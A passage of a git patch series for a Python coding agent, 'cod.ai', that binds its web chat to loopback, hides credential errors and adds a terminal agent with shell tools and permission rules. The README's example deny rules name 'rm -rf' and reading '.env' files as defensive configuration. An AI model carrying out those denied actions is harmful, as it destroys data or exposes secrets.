mid-output fallback, blocks before the last `fallback` marker are reduced to their text; the marker and everything after it are kept. - A refused, stopped or failed turn is left out of the history, together with the user message that prompted it. The page shows it greyed out so the user can rephrase. ## Event stream (`POST /api/chat`) diff --git a/README.md b/README.md index 8724c21..552ab0d 100755 --- a/README.md +++ b/README.md @@ -98,6 +98,7 @@ export ANTHROPIC_API_KEY=sk-ant-... # or ANTHROPIC_AUTH_TOKEN, or an `ant aut cod serve # or: PYTHONPATH=. python3 src/cli.py serve ``` +- The server binds to loopback only. The chat API has no authentication, so `--host` refuses other addresses unless you pass `--allow-remote`. - Credentials stay on the server; the browser never sees a key. Set `ANTHROPIC_BASE_URL` to route through a gateway such as the local credential proxy. - Pick the model, effort level and thinking display per message. Thinking summaries stream into a collapsible panel, and each reply shows its token usage, including cache reads. - Conversations are kept in the browser's local storage. The system prompt (base prompt plus `CLAUDE.md` and `AGENTS.md`) is built once at startup and the history is append-only, so prompt caching holds across turns. Set `COD_PROJECT_CONTEXT=0` to leave the project files out. diff --git a/src/cli.py b/src/cli.py index 0f008f8..229ad76 100755 --- a/src/cli.py +++ b/src/cli.py @@ -9,6 +9,7 @@ Supports: - `cod serve`: Starts the local web chat GUI (`src/web_server.py`) on http://127.0.0.1:8642. """ import argparse +import ipaddress import json from pathlib import Path import sys @@ -18,6 +19,15 @@ from src.security.classifier import TwoStageSecurityClassifier from src.security.telemetry import SkillDoctorTelemetryEngine +def is_loopback_host(host: str) -> bool: + if host == "localhost": + return True + try: + return ipaddress.ip_address(host).is_loopback + except ValueError: + return False + + def main(argv: list[str] | None = None) -> int: parser = argparse.ArgumentParser(prog="cod", description="cod.ai Next-Generation Agentic Coding Harness") sub = parser.add_subparsers(dest="subcommand") @@ -29,11 +39,18 @@ def main(argv: list[str] | None = None) -> int: serve_parser = sub.add_parser("serve", help="Start the local web chat GUI") serve_parser.add_argument("--host", default="127.0.0.1", help="Interface to bind (default: 127.0.0.1)") serve_parser.add_argument("--port", type=int, default=8642, help="Port to listen on (default: 8642)") + serve_parser.add_argument( + "--allow-remote", + action="store_true", + help="Allow binding a non-loopback address. The chat API has no authentication, so anyone who can reach it uses your credentials.", + ) args = parser.parse_args(argv) workspace = str(Path(__file__).resolve().parent.parent) if args.subcommand == "serve": + if not args.allow_remote and not is_loopback_host(args.host): + parser.error(f"--host {args.host} is not a loopback address; the chat API has no authentication. Pass --allow-remote to bind it anyway.") from src.web_server import run run(host=args.host, port=args.port) diff --git a/src/web_server.py b/src/web_server.py index fc1c721..0722824 100755 --- a/src/web_server.py +++ b/src/web_server.py @@ -13,6 +13,7 @@ server only ever appends to it, so prompt caching and preserved thinking keep working: assistant turns are echoed back exactly as the API returned them. """ import json +import logging import os from pathlib import Path from typing import Any, AsyncIterator, Literal @@ -22,6 +23,8 @@ from fastapi import Depends, FastAPI from fastapi.responses import HTMLResponse, StreamingResponse from pydantic import BaseModel, Field, field_validator, model_validator +logger = logging.getLogger("cod.web") + WORKSPACE_ROOT = Path(__file__).resolve().parent.parent WEB_INDEX_PATH = WORKSPACE_ROOT / "web" / "index.html" @@ -43,6 +46,11 @@ MAX_REQUEST_CHARS = 8_000_000 FALLBACK_BETA = "server-side-fallback-2026-07-01" +NOT_SENT_MESSAGE = ( + "The request could not be sent. If no credentials are configured, set ANTHROPIC_API_KEY " + "or run `ant auth login`, then restart the server. Details are in the server log." +) + BASE_SYSTEM_PROMPT = ( "You are cod.ai, a coding and architecture assistant chatting with a developer " "through a local web interface. Answer in GitHub-flavored Markdown and put code " @@ -149,16 +157,14 @@ def history_content(content: list[dict[str, Any]]) -> list[dict[str, Any]]: """ Returns the assistant content to echo back on the next turn. After a mid-output fallback, only text survives from the blocks before the last - `fallback` marker; the marker itself is dropped. Everything else is kept - unchanged so thinking blocks stay valid. + `fallback` marker; the marker and everything after it are kept unchanged + so thinking blocks stay valid. """ last_fallback = max((i for i, b in enumerate(content) if b.get("type") == "fallback"), default=-1) kept: list[dict[str, Any]] = [] for i, block in enumerate(content): if i < last_fallback and block.get("type") != "text": continue - if i == last_fallback: - continue kept.append(block) return kept @@ -206,9 +212,12 @@ async def stream_chat_events(client: anthropic.AsyncAnthropic, params: dict[str, yield _sse("error", {"status": exc.status_code, "message": error.get("message") or exc.message}) except anthropic.APIConnectionError: yield _sse("error", {"status": None, "message": "Could not reach the Claude API. Check the network or ANTHROPIC_BASE_URL."}) - except anthropic.AnthropicError as exc: - # Raised before any request is sent, e.g. when no credentials are configured. - yield _sse("error", {"status": None, "message": str(exc)}) + except Exception: + # Anything else fails before a request is sent, most often because no + # credentials are configured (the SDK raises TypeError). Details stay in + # the server log rather than going to the browser. + logger.exception("chat request failed before reaching the API") + yield _sse("error", {"status": None, "message": NOT_SENT_MESSAGE}) app = FastAPI(title="cod.ai web chat", version="0.2.0") diff --git a/tests/test_web_server.py b/tests/test_web_server.py index c07a5b8..7ec592d 100644 --- a/tests/test_web_server.py +++ b/tests/test_web_server.py @@ -184,13 +184,13 @@ class WebServerTests(unittest.TestCase): {"type": "thinking", "thinking": "", "signature": "fallback-model"}, {"type": "text", "text": "Finished by the fallback."}, ] - self.assertEqual(web_server.history_content(content), [content[1], content[3], content[4]]) + self.assertEqual(web_server.history_content(content), content[1:]) self.use(FakeClient(make_message(content, model="claude-opus-5"))) events = parse_sse(self.chat().text) fallback_block = [d for e, d in events if e == "block" and d["block"]["type"] == "fallback"][0] self.assertEqual(fallback_block["block"]["to"], {"model": "claude-opus-5"}) - self.assertEqual(events[-1][1]["history"], [content[1], content[3], content[4]]) + self.assertEqual(events[-1][1]["history"], content[1:]) def test_api_errors_become_error_events(self): request = httpx2.Request("POST", "https://api.anthropic.com/v1/messages") @@ -200,6 +200,14 @@ class WebServerTests(unittest.TestCase): events = parse_sse(self.chat().text) self.assertEqual(events, [("error", {"status": 401, "message": "invalid x-api-key"})]) + def test_errors_before_sending_are_reported_without_details(self): + missing_credentials = TypeError("Could not resolve authentication method. Expected one of api_key, ...") + self.use(FakeClient(error=missing_credentials)) + with self.assertLogs("cod.web", level="ERROR"): + events = parse_sse(self.chat().text) + self.assertEqual(events, [("error", {"status": None, "message": web_server.NOT_SENT_MESSAGE})]) + self.assertNotIn("api_key", events[0][1]["message"]) + def test_rejects_malformed_requests(self): self.use(FakeClient(make_message([{"type": "text", "text": "unused"}]))) bad_bodies = [ From 88f30775b71da4a73991b0dd1403c07e47475fca Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 16:48:56 +0000 Subject: [PATCH 4/7] Replace the fake harness with a real terminal coding agent Removes the Pi configs, the placeholder prompt, context, security and sub-agent modules, and the docs and tests that described them. Adds src/agent/: a streaming tool-use loop on the Messages API with file, search and shell tools, permission rules (.cod/settings.json), append-only JSONL sessions with resume, and a terminal front end (`cod`, `cod -p`, `--continue`, `--resume`). The web chat now shares the model table and history rules with the agent. Keeps the memory store and worktree runner, with a stricter memory key check and failed workers reported as failed. All tests use a fake client. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- .gitignore | 1 + AGENTS.md | 10 +- CLAUDE.md | 20 +- DESIGN.md | 35 +- README.md | 190 ++++--- docs/00_osint_recon.md | 122 ----- docs/01_harness_decision_matrix.md | 105 ---- docs/02_pi_configs_tracking_issue.md | 41 -- ...03_verification_and_architecture_report.md | 72 --- .../adversarial-verifier/.pi/hook/hooks.yaml | 15 - .../agents/adversarial-verifier/AGENTS.md | 21 - .../attention-budget-governor/AGENTS.md | 20 - .../.pi/hook/hooks.yaml | 16 - .../holistic-web-architect/.pi/settings.json | 17 - .../agents/holistic-web-architect/AGENTS.md | 20 - pi_configs_upstream/create_tracking_issue.sh | 34 -- .../src/cod_ai_invariant_bridge.ts | 111 ---- pyproject.toml | 7 +- skills/frontend_ux/SKILL.md | 12 - skills/pi_specialist_bridge/SKILL.md | 12 - skills/system_architecture/SKILL.md | 13 - skills/systems_security/SKILL.md | 12 - src/__init__.py | 4 +- src/agent/__init__.py | 1 + src/agent/engine.py | 302 +++++++++++ src/agent/models.py | 34 ++ src/agent/permissions.py | 97 ++++ src/agent/prompt.py | 48 ++ src/agent/session.py | 95 ++++ src/agent/terminal.py | 265 ++++++++++ src/agent/tools.py | 332 ++++++++++++ src/agents/__init__.py | 63 +-- src/agents/compaction.py | 287 ----------- src/agents/coordinator.py | 83 ++- src/agents/explore_agent.py | 184 ------- src/agents/memory.py | 26 +- src/agents/session_dag.py | 181 ------- src/agents/verifier.py | 203 -------- src/cli.py | 170 ++++--- src/context/__init__.py | 44 -- src/context/cache_assembler.py | 402 --------------- src/context/router_and_retrieval.py | 299 ----------- src/context/ttl_scheduler.py | 178 ------- src/prompts/__init__.py | 33 -- src/prompts/architect_mode.py | 194 ------- src/prompts/engine.py | 226 --------- src/prompts/implementer_mode.py | 127 ----- src/prompts/simple_mode.py | 31 -- src/security/__init__.py | 36 -- src/security/classifier.py | 346 ------------- src/security/proxy_sandbox.py | 209 -------- src/security/telemetry.py | 146 ------ src/web_server.py | 41 +- tests/fakes.py | 73 +++ tests/test_agent.py | 462 +++++++++++++++++ tests/test_cod_ai_full_suite.py | 475 ------------------ tests/test_web_server.py | 60 +-- tests/test_worktrees.py | 76 +++ 58 files changed, 2091 insertions(+), 4648 deletions(-) delete mode 100755 docs/00_osint_recon.md delete mode 100755 docs/01_harness_decision_matrix.md delete mode 100755 docs/02_pi_configs_tracking_issue.md delete mode 100755 docs/03_verification_and_architecture_report.md delete mode 100755 pi_configs_upstream/agents/adversarial-verifier/.pi/hook/hooks.yaml delete mode 100755 pi_configs_upstream/agents/adversarial-verifier/AGENTS.md delete mode 100755 pi_configs_upstream/agents/attention-budget-governor/AGENTS.md delete mode 100755 pi_configs_upstream/agents/holistic-web-architect/.pi/hook/hooks.yaml delete mode 100755 pi_configs_upstream/agents/holistic-web-architect/.pi/settings.json delete mode 100755 pi_configs_upstream/agents/holistic-web-architect/AGENTS.md delete mode 100755 pi_configs_upstream/create_tracking_issue.sh delete mode 100755 pi_configs_upstream/src/cod_ai_invariant_bridge.ts delete mode 100755 skills/frontend_ux/SKILL.md delete mode 100755 skills/pi_specialist_bridge/SKILL.md delete mode 100755 skills/system_architecture/SKILL.md delete mode 100755 skills/systems_security/SKILL.md create mode 100644 src/agent/__init__.py create mode 100644 src/agent/engine.py create mode 100644 src/agent/models.py create mode 100644 src/agent/permissions.py create mode 100644 src/agent/prompt.py create mode 100644 src/agent/session.py create mode 100644 src/agent/terminal.py create mode 100644 src/agent/tools.py delete mode 100755 src/agents/compaction.py delete mode 100755 src/agents/explore_agent.py delete mode 100755 src/agents/session_dag.py delete mode 100755 src/agents/verifier.py delete mode 100755 src/context/__init__.py delete mode 100755 src/context/cache_assembler.py delete mode 100755 src/context/router_and_retrieval.py delete mode 100755 src/context/ttl_scheduler.py delete mode 100755 src/prompts/__init__.py delete mode 100755 src/prompts/architect_mode.py delete mode 100755 src/prompts/engine.py delete mode 100755 src/prompts/implementer_mode.py delete mode 100755 src/prompts/simple_mode.py delete mode 100755 src/security/__init__.py delete mode 100755 src/security/classifier.py delete mode 100755 src/security/proxy_sandbox.py delete mode 100755 src/security/telemetry.py create mode 100644 tests/fakes.py create mode 100644 tests/test_agent.py delete mode 100755 tests/test_cod_ai_full_suite.py create mode 100644 tests/test_worktrees.py diff --git a/.gitignore b/.gitignore index 1d9496f..f99ba9f 100755 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,4 @@ build/ *.egg-info/ .worktrees/ .pytest_cache/ +.cod/sessions/ diff --git a/AGENTS.md b/AGENTS.md index 5c44010..f31793e 100755 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,9 +1,5 @@ -# `AGENTS.md` — Multi-Agent Fleet & `@heretek-ai/pi-configs` Interoperability Charter +# Agent notes -`cod.ai` natively loads specialist charters from `@heretek-ai/pi-configs` (`pi_configs_upstream/agents//AGENTS.md`) and switches charters via Layer 3 mid-conversation `role: "system"` / `` blocks so the Layer 1 and Layer 2 ephemeral prompt caches remain 100% intact. +See `CLAUDE.md` for how to work on this repository; the same rules apply to any coding agent. -## Built-In Core Sub-Agents -- **Lead `/goal` Coordinator (`src/agents/coordinator.py`)**: Decomposes specs into isolated `git worktree` branches and synthesizes results via `StructuredMemoryStore`. -- **Read-Only `Explore` Sub-Agent (`src/agents/explore_agent.py`)**: Auto-triggered on $>3$ `Glob`/`Grep` queries; returns a distilled 1,000–2,000 token architectural brief. -- **Two-Tier `Compact Service` (`src/agents/compaction.py`)**: Enforces `NO_TOOLS_PREAMBLE`, strips ``, validates the 9-section ``, and restores the 5 most recently accessed files. -- **Adversarial Verification Agent (`src/agents/verifier.py`)**: Read-only on project files (exit code `2` guard), ephemeral harnesses in `/tmp` only, executes the 5-step Universal Baseline, and forces the Lead Agent to spot-check 2–3 commands. +The agent itself lives in `src/agent/`. `engine.py` runs the loop and yields events; `terminal.py` renders them. A new front end (such as the web chat) should consume `Agent.send()` events rather than calling the API itself. diff --git a/CLAUDE.md b/CLAUDE.md index 8bf2f11..bf494af 100755 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,14 +1,8 @@ -# `CLAUDE.md` — Static Layer 2 Project Context (`cod.ai`) +# Notes for working on cod.ai -## Architectural Authorizations (`Mode B` Override) -- `authorize_modular_helpers`: Explicitly permitted when implementing multi-phase orchestration engines. -- `authorize_boundary_validation`: Explicitly required at all API, proxy, and memory concurrency boundaries. -- `authorize_clean_abstractions`: Explicitly authorized by Mode A Architect specifications. - -## Six Non-Negotiable Architectural Invariants -1. **Byte-Identical Static Prefix Guarantee**: Never mutate Layer 1 (`tools` + `system`) or Layer 2 (`CLAUDE.md` + `AGENTS.md`) mid-session. Inject all dynamic reminders, specialist charters, and newly discovered schemas at the tail of Layer 3. -2. **Deferred Tool Schema Loading (`ToolSearch`)**: Keep `defer_loading: true` on all extended/MCP tools; place `cache_control` only on non-deferred blocks. -3. **Dual-Polarity Mode Switching**: Use Mode A (`HolisticWebArchitectEngine`) for $>100$-line iterative design and Mode B (`SurgicalCLIImplementer`) for repository execution. -4. **Attention Budget Governor ($60\text{--}80\%$)**: Maintain full in-context $n^2$ self-attention up to 60% capacity; trigger `project_knowledge_search` and Two-Tier Compaction before 80%. -5. **Multi-Agent Clean-Context Spawning**: Spawn `ReadOnlyExploreSubAgent` whenever discovery exceeds 3 `Glob`/`Grep` queries, and verify via `AdversarialVerificationAgent` (`07_verification_agent.md`). -6. **Proxmox Containment & Credential Isolation**: Keep raw API keys inside `CredentialVaultProxy` (`127.0.0.1:3128`) outside the agent's readable environment. +- Python 3.11+, Anthropic Python SDK. Run the tests with `python3 -m unittest discover -s tests`. They use the fake client in `tests/fakes.py`; never make real API calls from tests. +- Requests use adaptive thinking, `output_config.effort`, top-level `cache_control`, and `fallbacks: "default"` where the model supports it (not Haiku 5.5). Don't add `budget_tokens`, `thinking: disabled` or a forced `tool_choice`: the current models reject them. +- The history is append-only. Store assistant content exactly as returned (thinking signatures included), apply `history_content` after a fallback, and keep the system prompt and tool list fixed for a session, or the prompt cache and thinking blocks break. +- Tool inputs come from the model: validate them (the pydantic models in `src/agent/tools.py`) and return failures as `is_error` tool results. +- Credentials stay out of the browser and out of the agent's shell environment (`sanitized_env`). +- `src/agent/models.py` is the one model table; the CLI and the web server both read it. diff --git a/DESIGN.md b/DESIGN.md index f404864..81b94b8 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -1,8 +1,31 @@ -# Web Chat GUI (`DESIGN.md`) +# Design + +## Terminal agent + +`cod` runs `src/agent/engine.py`, a tool-use loop over the streaming Messages API. One user turn works like this: + +1. The prompt is appended to the session and the whole history is sent with the six tool definitions. +2. Text and thinking stream to the terminal as they arrive. +3. If the response stops for `tool_use`, each call is checked against the permission policy (deny, allow, or ask the user), run, and its result sent back in the next request. This repeats until Claude ends its turn, up to 50 rounds. +4. Every message is written to `.cod/sessions/.jsonl` as soon as it is final. + +The request uses the same settings as the web chat (table below) plus `tools`, each with `eager_input_streaming: true`. The system prompt (base instructions, the project root, and the project's `CLAUDE.md` and `AGENTS.md`) is built when the session starts and stored in its header, and the tool list never changes, so every request in a session shares a cacheable prefix, including after a resume. + +| Stop reason | Handling | +| :--- | :--- | +| `end_turn` | The turn ends. | +| `tool_use` | Run the calls and continue. | +| `max_tokens` | Tool calls in the cut-off response are not run; each gets an error result asking for a smaller input. Without tool calls the turn ends with a note. | +| `pause_turn` | The history is sent back unchanged to resume. | +| `refusal` | The turn's messages, starting with the user's prompt, are rolled back so the user can rephrase. | + +If the user interrupts while tools are running, the calls that finished keep their results and the rest get an "interrupted" error result, so the history stays valid. + +## Web chat `cod serve` runs a local chat interface for the Claude Messages API. It has two parts: `src/web_server.py`, a FastAPI server, and `web/index.html`, a single page with no build step and no framework. -## Request flow +### Request flow 1. The page loads `/api/config` for the model list, effort levels and per-model default effort. 2. On send, the page posts the whole conversation to `POST /api/chat` together with the chosen model, effort and thinking display. @@ -11,7 +34,7 @@ The API key never reaches the browser. The SDK resolves credentials on the server (`ANTHROPIC_API_KEY`, `ANTHROPIC_AUTH_TOKEN` or an `ant auth login` profile), and `ANTHROPIC_BASE_URL` can point it at a gateway. -## API request +### API request | Field | Value | | :--- | :--- | @@ -23,7 +46,7 @@ The API key never reaches the browser. The SDK resolves credentials on the serve | `cache_control` | Top-level `{"type": "ephemeral"}`, so the cache breakpoint moves to the newest block each turn | | `fallbacks` | `"default"` with beta `server-side-fallback-2026-07-01`, except on Haiku 5.5, which has no server-side fallback (`COD_FALLBACKS=0` turns it off) | -## History rules +### History rules The history is append-only, which keeps the prompt cache warm and keeps thinking blocks valid. @@ -31,7 +54,7 @@ The history is append-only, which keeps the prompt cache warm and keeps thinking - After a mid-output fallback, blocks before the last `fallback` marker are reduced to their text; the marker and everything after it are kept. - A refused, stopped or failed turn is left out of the history, together with the user message that prompted it. The page shows it greyed out so the user can rephrase. -## Event stream (`POST /api/chat`) +### Event stream (`POST /api/chat`) | Event | Data | | :--- | :--- | @@ -43,7 +66,7 @@ The history is append-only, which keeps the prompt cache warm and keeps thinking Malformed requests are rejected with HTTP 422 before any API call. That covers unknown models or effort levels, a history that doesn't start and end with a user message, empty content, and requests over 8 MB. -## Visual tokens +### Visual tokens The page uses a warm, low-contrast palette with a serif for assistant prose, a sans for the interface and a mono for code and usage lines. Dark mode follows the system setting and can be toggled; the choice is remembered in local storage. diff --git a/README.md b/README.md index 552ab0d..24a6497 100755 --- a/README.md +++ b/README.md @@ -1,107 +1,97 @@ -# `cod.ai` — Next-Generation Agentic Coding Harness & Orchestration Platform +# cod.ai -[![Verdict: PASS](https://img.shields.io/badge/Adversarial_Verifier-VERDICT:_PASS-brightgreen)](docs/03_verification_and_architecture_report.md) -[![Pi-Configs Compatible](https://img.shields.io/badge/Pi_Ecosystem-@heretek--ai/pi--configs_v1.3.0-blue)](docs/02_pi_configs_tracking_issue.md) +A coding agent for the terminal, plus a local web chat, built on the Claude Messages API with the Anthropic Python SDK. -`cod.ai` ([Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai)) unifies the **holistic, zero-noise $n^2$ architectural synthesis** of `claude.ai` Web (`` + Skills Playbooks + $>100$-line iterative drafting) with the **surgical Just-In-Time (JIT) execution, byte-identical 3-layer prefix caching, Pi JSONL session DAGs, and adversarial sub-agent verification** of Claude Code and [Pi (`earendil-works/pi`)](https://github.com/earendil-works/pi). +`cod` gives Claude six tools in your project (read, write and edit files, glob, grep, and a shell), asks before it edits or runs anything, and saves every session so you can pick it up later. ---- +## Install -## Repository Structure +Requires Python 3.11 or newer. + +```bash +git clone https://github.com/heretek-ai/cod.ai && cd cod.ai +pip install -e . +``` + +Credentials are resolved by the SDK: `ANTHROPIC_API_KEY`, `ANTHROPIC_AUTH_TOKEN`, or an `ant auth login` profile. Set `ANTHROPIC_BASE_URL` to send requests through a gateway or a local credential proxy instead. + +## Terminal agent + +```bash +cd your-project +cod # interactive session +cod -p "why does test_login fail?" # one prompt, answer on stdout +git diff | cod -p - # prompt from stdin +cod --continue # resume the latest session in this project +cod --resume 20261025-164712-76741b +``` + +| Option | Effect | +| :--- | :--- | +| `--model` | `claude-opus-5-5` (default), `claude-fable-5-1`, `claude-sonnet-5-5` or `claude-haiku-5-5` | +| `--effort` | `low` to `max`; defaults to the model's own default | +| `--accept-edits` | Apply file edits without asking (shell commands still ask) | +| `--allow-all` | Run every tool call without asking | +| `--root` | Project directory the tools work in (default: current directory) | +| `--hide-thinking` | Don't request or print thinking summaries | +| `--no-project-files` | Leave `CLAUDE.md` and `AGENTS.md` out of a new session's prompt | +| `--no-fallbacks` | Turn off the server-side refusal fallback | + +In the interactive session, `/help`, `/session`, `/usage` and `/exit` are available, and Ctrl-C stops the current turn. + +### Permissions + +Reads and searches run freely. Edits and shell commands ask first; answer `y`, `n`, or `a` to allow that tool (edits) or that exact command (shell) for the rest of the session. With no terminal to ask on, as in `cod -p` in a pipeline, anything that would ask is denied. + +Standing rules go in `.cod/settings.json` in the project. A rule is a tool name, optionally with a glob matched against the command (for `bash`) or path (for the file tools). `deny` always wins, even over `--allow-all`: + +```json +{ + "permissions": { + "allow": ["bash(git status*)", "bash(pytest*)"], + "deny": ["bash(rm -rf*)", "read_file(.env*)"] + } +} +``` + +All paths are confined to the project root. Shell commands run with stdin closed and with environment variables whose names look like secrets (`*KEY*`, `*TOKEN*`, `*SECRET*`, `*PASSWORD*`, `*CREDENTIAL*`, `*AUTH*`) removed. The shell is not otherwise sandboxed, so treat `--allow-all` as giving Claude your shell. + +### Sessions + +Each session is an append-only JSONL file in `.cod/sessions/` holding the model, the system prompt and every message as sent. A refused turn is dropped from the history so you can rephrase. Add `.cod/sessions/` to your project's `.gitignore`. + +## Web chat + +```bash +cod serve # http://127.0.0.1:8642 +cod serve --port 9000 +``` + +A plain chat with streaming, thinking summaries, model and effort selectors and per-reply token usage. It has no tools. The API key stays on the server and the page has no authentication, so `cod serve` binds only loopback addresses unless you pass `--allow-remote`. `COD_PROJECT_CONTEXT=0` leaves this repository's `CLAUDE.md` and `AGENTS.md` out of its system prompt, and `COD_FALLBACKS=0` turns off the refusal fallback. See [DESIGN.md](DESIGN.md) for how requests are built. + +## Development + +```bash +python3 -m unittest discover -s tests -v +``` + +The tests use a fake Anthropic client and never call the API. ```text -cod.ai/ -├── README.md # Quickstart, architecture overview & CLI guide -├── CLAUDE.md # Layer 2 static project context & invariant contract -├── AGENTS.md # Multi-agent specialist charter & Pi interoperability spec -├── pyproject.toml # Python 3.11+ package & CLI entrypoint (`cod`) -├── .gitignore # Standard Python/Node/worktree ignores -├── DESIGN.md # Web chat GUI: architecture, API contract & visual tokens -├── docs/ -│ ├── 00_osint_recon.md # Phase 0: Live OSINT & Proxmox VM Reconnaissance -│ ├── 01_harness_decision_matrix.md # Phase 1: Six-Invariant Harness Evaluation Matrix (ADR-001) -│ ├── 02_pi_configs_tracking_issue.md # Phase 1.5: Tracking issue & PR spec for Heretek-AI/pi-configs -│ └── 03_verification_and_architecture_report.md # Phases 2-5 Adversarial Verification & Telemetry Report -├── skills/ -│ ├── system_architecture/SKILL.md # Mode A Distributed Systems & Module Decomposition Playbook -│ ├── frontend_ux/SKILL.md # Mode A High-Craft UI/UX & WCAG 2.2 AA Playbook -│ ├── systems_security/SKILL.md # Proxmox Containment, Proxy Vault & Classifier Playbook -│ └── pi_specialist_bridge/SKILL.md # Cache-Safe @heretek-ai/pi-configs Charter Loader Playbook -├── src/ -│ ├── __init__.py -│ ├── cli.py # Unified `cod` Headless CLI (`cod doctor`, `cod auto-mode critique`, `cod simple`, `cod serve`) -│ ├── web_server.py # Local web chat server: streams Claude replies to the GUI, keeps credentials server-side -│ ├── prompts/ # Phase 2: Dual-Polarity Prompt Engine -│ │ ├── architect_mode.py # Mode A: GOAL XML framing + >100-line 4-stage iterative loop + anti-truncation -│ │ ├── implementer_mode.py # Mode B: Read/Edit/Write/Glob/Grep enforcement + Bash file-op blocker -│ │ ├── simple_mode.py # COD_SIMPLE=true 4-line minimal benchmark prompt -│ │ └── engine.py # Unified PromptAssemblyEngine + @heretek-ai/pi-configs loader -│ ├── context/ # Phase 3: Token Economics, Prefix Cache & Hybrid Retrieval -│ │ ├── cache_assembler.py # 3-Layer Cache-Control Assembler + ToolSearch (`defer_loading: true`) -│ │ ├── ttl_scheduler.py # 5-Minute TTL Keep-Alive & Batching Scheduler (from request start) -│ │ └── router_and_retrieval.py # Model-Affinity Router + 60-80% Attention Budget Governor -│ ├── agents/ # Phase 4: Multi-Agent Fleet, Compaction & Adversarial Verifier -│ │ ├── session_dag.py # Pi-compatible `session.jsonl` Tree DAG + `Cache Re-billed` meter -│ │ ├── coordinator.py # `/goal` Git Worktree Coordinator (`git worktree add -b`) -│ │ ├── explore_agent.py # Read-Only `Explore` Sub-Agent (>3 Glob/Grep -> 1-2K token brief) -│ │ ├── compaction.py # Two-Tier Compaction (Stage 1 Cache-Safe Micro + Stage 2 9-Section Compact) -│ │ ├── memory.py # Atomic `memory_str_replace` (`if_version` guard) + `NOTES.md` / `TodoWrite` -│ │ └── verifier.py # Adversarial Verification Agent (`07_verification_agent.md` + Lead Spot-Check) -│ └── security/ # Phase 5: Proxmox VM Containment & Security Classifier -│ ├── proxy_sandbox.py # 127.0.0.1 Credential Vault Proxy + `bwrap` / rootless sandbox runner -│ ├── classifier.py # 2-Stage Auto-Mode Security Classifier + `cod auto-mode critique` -│ └── telemetry.py # `/skill doctor` & Live Context Quality Telemetry Dashboard -├── pi_configs_upstream/ # Drop-in upgrade for https://github.com/Heretek-AI/pi-configs (v1.3.0) -│ ├── create_tracking_issue.sh # One-click script to open the tracking issue on Heretek-AI/pi-configs -│ ├── src/cod_ai_invariant_bridge.ts # TypeScript extension fixing `/specialist` Layer-3 cache preservation -│ └── agents/ # Custom specialists (#72 holistic-web-architect, #73 attention-budget-governor, #74 adversarial-verifier) -├── web/ -│ └── index.html # Single-page chat GUI served by `cod serve` -└── tests/ - ├── test_cod_ai_full_suite.py # 16 end-to-end unit & integration tests across Phases 2-5 - └── test_web_server.py # Web chat server tests (fake Anthropic client, no network) +src/ +├── cli.py # `cod` and `cod serve` +├── web_server.py # FastAPI server for the web chat +├── agent/ +│ ├── engine.py # the tool-use loop +│ ├── tools.py # file, search and shell tools +│ ├── permissions.py +│ ├── session.py # JSONL session files +│ ├── prompt.py # system prompt +│ ├── models.py # model table and history rules shared with the web chat +│ └── terminal.py # REPL and print mode +└── agents/ + ├── memory.py # versioned file memory store + └── coordinator.py # runs workers in separate git worktrees +web/index.html # the web chat page +tests/ ``` - ---- - -## Quickstart & Verification - -```bash -# 1. Run the complete 16-test automated verification suite -PYTHONPATH=. python3 tests/test_cod_ai_full_suite.py - -# 2. Run `/skill doctor` & live telemetry dashboard -PYTHONPATH=. python3 src/cli.py doctor - -# 3. Audit permission rules with `cod auto-mode critique` -PYTHONPATH=. python3 src/cli.py auto-mode critique - -# 4. Emit the 4-line `COD_SIMPLE=true` minimal benchmark prompt -PYTHONPATH=. python3 src/cli.py simple - -# 5. Run the web chat server tests -PYTHONPATH=. python3 tests/test_web_server.py - -# 6. Open the upstream tracking issue on Heretek-AI/pi-configs -GITHUB_TOKEN=ghp_your_token ./pi_configs_upstream/create_tracking_issue.sh -``` - ---- - -## Web Chat GUI - -`cod serve` starts a local chat interface at `http://127.0.0.1:8642` that streams replies from the Claude Messages API. - -```bash -pip install -e . # anthropic, fastapi, uvicorn -export ANTHROPIC_API_KEY=sk-ant-... # or ANTHROPIC_AUTH_TOKEN, or an `ant auth login` profile -cod serve # or: PYTHONPATH=. python3 src/cli.py serve -``` - -- The server binds to loopback only. The chat API has no authentication, so `--host` refuses other addresses unless you pass `--allow-remote`. -- Credentials stay on the server; the browser never sees a key. Set `ANTHROPIC_BASE_URL` to route through a gateway such as the local credential proxy. -- Pick the model, effort level and thinking display per message. Thinking summaries stream into a collapsible panel, and each reply shows its token usage, including cache reads. -- Conversations are kept in the browser's local storage. The system prompt (base prompt plus `CLAUDE.md` and `AGENTS.md`) is built once at startup and the history is append-only, so prompt caching holds across turns. Set `COD_PROJECT_CONTEXT=0` to leave the project files out. -- Refusals use the server-side `fallbacks: "default"` retry on models that support it. Set `COD_FALLBACKS=0` to turn it off, for example behind a gateway that does not accept the beta. - -See [`DESIGN.md`](DESIGN.md) for the request flow and the event stream contract. diff --git a/docs/00_osint_recon.md b/docs/00_osint_recon.md deleted file mode 100755 index a4ecc75..0000000 --- a/docs/00_osint_recon.md +++ /dev/null @@ -1,122 +0,0 @@ -# Phase 0: OSINT & Environment Reconnaissance (`cod.ai`) - -**Document ID:** `00_osint_recon.md` -**Target Repository:** [Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai) -**Organization:** [Heretek-AI](https://github.com/Heretek-AI) -**Date:** October 24, 2026 -**Status:** Verified via Live OSINT & Local System Audit - ---- - -## 1. Executive Summary: Target Repository & Ecosystem Audit creates a Clean-Slate Mandate - -Live Open Source Intelligence (OSINT) inspection and local forensic analysis of the attached repository snapshot confirm that [Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai) is a newly initialized, empty public GitHub repository (`octolytics-dimension-repository_public: true`, zero commits, zero branches, zero issues/PRs). Simultaneously, auditing the broader [Heretek-AI](https://github.com/Heretek-AI) organization (106 public repositories) reveals two mature sister initiatives that directly inform `cod.ai`'s architecture: - -1. **Pi Specialist Fleet (`@heretek-ai/pi-configs` v1.2.0)**: Published on October 24, 2026 ([pi.dev/packages/@heretek-ai/pi-configs](https://pi.dev/packages/@heretek-ai/pi-configs) / [Heretek-AI/pi-configs](https://github.com/Heretek-AI/pi-configs)), this package implements a 